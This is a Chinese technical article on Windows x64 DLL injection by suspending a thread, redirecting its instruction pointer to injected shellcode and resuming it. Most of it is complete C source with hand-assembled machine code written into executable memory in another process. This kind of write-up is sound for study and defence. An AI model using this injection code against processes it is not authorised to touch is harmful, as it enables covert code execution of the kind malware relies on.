此注入方式主要是使用挂起、设置运行点、继续的方式劫持目标程序的执行,通过GetThreadContext与SetThreadContext函数进行控制。
通过SetThreadContext设置线程即将执行的代码从而使其调用LoadLibraryA函数实现DLL加载。
SetThreadContext定义:
BOOL SetThreadContext(
HANDLE hThread, //线程句柄,该句柄必须拥有THREAD_SET_CONTEXT权限
const CONTEXT *lpContext //欲设置的上下文, 包含有各种寄存器
);
关于CONTEXT 中ContextFlags该如何取值:
//
// CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags.
//
// CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15.
//
// CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs.
//
// CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15.
//
// CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7.
注入流程
1. 打开进程句柄
2. 将LoadLibrary 的Shellcode写入目标进程中
3. 挑选其中一个通过SuspendThread将线程暂停。
4. 通过GetThreadContext保存当前状态
5. SetThreadContext 设置下一条语句将从Shellcode开始执行
6. 执行完成后通知注入程序,随后通过SetThreadContext 恢复之前的状态与代码位置
7. 通过ResumeThread使得线程继续运行
首先通过CreateToolhelp32Snapshot枚举所有线程,找出属于该进程的线程,找到第一个立即调用注入函数进行DLL注入。
注入代码向目标进程分配了0x1000个字节的RWX内存,0~0x6ff留给代码,0x700留给DLL路径。
写入DLL全路径至0x700偏移处。
随后将Shellcode写入0x0的位置。
Shellcode编写:可能我们第一个想法是通过SetThreadContext直接设置rcx为DLL全路径,rip为LoadLibrary,执行完成后通过注入程序SetThreadContext来恢复成原来的样子。
但是有个情况很难做到,通过syscall进入内核后在内核被挂起,此时通过GetThreadContext是syscall之前的上下文,而实际上syscall回来之后寄存器的值会发生变化。此时恢复后会因为寄存器错误导致崩溃。
所以这里还是不要通过SetThreadContext来恢复线程上下文,而仅仅通过他来设置rip,随后在shellcode中保存上下文,执行LoadLibrary 进行DLL注入,在此文章中DLL全目录设置在了shellcode + 0x700的位置,在执行完成时激活事件,通知注入线程,随后自身进入死循环指令(jmp $) 注入线程将其执行的代码移动到之前的位置继续向下执行。
shellcode:
完整代码:
typedef BOOLEAN(*LPTHREAD_ROUTINE)(DWORD dwProcessId, DWORD dwThreadId, PVOID Context);
static VOID EnumAllThread(DWORD dwProcessId, LPTHREAD_ROUTINE Routine, PVOID Context);
static BOOLEAN RunCode(DWORD dwProcessId, DWORD dwThreadId, PVOID lpContext);
typedef struct _CODE_STRUCT{
BYTE Restore[0x18];
BYTE MovRcx[2];
UINT64 Rcx;
BYTE SubRsp[3];
UINT32 Sub;
BYTE MovRax[2];
UINT64 Rax;
BYTE CallRax[2];
BYTE AddRsp[3];
UINT32 Add;
BYTE Recovery[0x18];
BYTE Loop[2];
}CODE_STRUCT, * LPCODE_STRUCT;
CODE_STRUCT Codes = {
{0x50,0x51,0x52,0x53,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x56,0x57,0x9C}, //保存调用环境
{0x48,0xB9}, //修改Rcx
{0x0}, //Rcx
{0x48,0x81,0xEC}, //减少Rsp
{0x308}, //Rsp
{0x48,0xB8}, //修改Rax
{0x0}, //Rax
{0xFF,0xD0}, //Call Rax
{0x48,0x81,0xC4}, //增加Rsp
{0x308}, //Rsp
{0x9D,0x5F,0x5E,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,0x41,0x58,0x5D,0x5B,0x5A,0x59,0x58}, //恢复调用环境
{0xEB, 0xFE} // Jmp $
};
int main()
{
DWORD dwProcessId;
printf("输入进程ID:");
scanf_s("%d", &dwProcessId);
EnumAllThread(dwProcessId, RunCode, NULL);
return 0;
}
BOOLEAN RunCode(DWORD dwProcessId, DWORD dwThreadId, PVOID lpContext)
{
SIZE_T szWriteBytes;
BOOLEAN isSuccess = FALSE;
HANDLE hThread = NULL;
HANDLE hProcess = NULL;
LPBYTE lpRmtCode = NULL;
LPBYTE lpDllName = NULL;
CONTEXT Context = { 0 };
CONTEXT NewContext = { 0 };
do {
hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId);
if (!hProcess)
break;
lpRmtCode = (LPBYTE)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRmtCode)
break;
lpDllName = lpRmtCode + 0x700;
printf("Alloc %pn", lpRmtCode);
if (!WriteProcessMemory(hProcess, lpDllName, DLL_NAME, sizeof(DLL_NAME), &szWriteBytes))
break;
hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, FALSE, dwThreadId);
if (!hThread)
break;
HANDLE hKernel = LoadLibrary(_T("kernel32.dll"));
if (!hKernel)
break;
PVOID lpLoadLibraryA = GetProcAddress(hKernel, "LoadLibraryA");
FreeLibrary(hKernel);
if (!lpLoadLibraryA)
break;
Codes.Rcx = (UINT64)lpDllName;
Codes.Rax = (UINT64)lpLoadLibraryA;
if (!WriteProcessMemory(hProcess, lpRmtCode, (LPBYTE)&Codes, sizeof(Codes), &szWriteBytes))
break;
HANDLE hEvt = CreateEvent(NULL, FALSE, FALSE, GLOBAL_EVENT);
if (!hEvt)
break;
Context.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &Context);
Context.ContextFlags = CONTEXT_CONTROL;
NewContext = Context;
NewContext.Rip = (UINT64)lpRmtCode;
SetThreadContext(hThread, &NewContext);
ResumeThread(hThread);
WaitForSingleObject(hEvt, INFINITE);
Sleep(1000);
SetThreadContext(hThread, &Context);
ResumeThread(hThread);
CloseHandle(hEvt);
isSuccess = TRUE;
} while (FALSE);
if (hProcess)
{
if (lpRmtCode)
VirtualFreeEx(hProcess, lpRmtCode, 0, MEM_RELEASE);
CloseHandle(hProcess);
}
if (hThread)
CloseHandle(hThread);
return FALSE;
}
//枚举所有线程
VOID EnumAllThread(DWORD dwProcessId, LPTHREAD_ROUTINE Routine, PVOID Context)
{
THREADENTRY32 ThreadInfo;
ThreadInfo.dwSize = sizeof(THREADENTRY32);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwProcessId);
if (!Thread32First(hSnap, &ThreadInfo))
return;
do {
if (ThreadInfo.th32OwnerProcessID == dwProcessId)
if (!Routine(dwProcessId, ThreadInfo.th32ThreadID, Context))
break;
} while (Thread32Next(hSnap, &ThreadInfo));
CloseHandle(hSnap);
}
本文始发于微信公众号(锋刃科技):DLL注入--Suspend Inject Resume注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论